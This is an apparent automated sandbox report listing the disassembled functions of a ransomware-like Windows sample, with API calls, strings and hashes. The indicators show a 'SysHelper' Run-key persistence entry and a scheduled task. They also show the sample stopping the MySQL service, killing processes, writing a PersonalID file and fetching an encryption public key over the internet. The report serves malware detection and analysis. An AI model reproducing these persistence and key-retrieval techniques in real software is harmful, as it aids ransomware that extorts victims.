Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
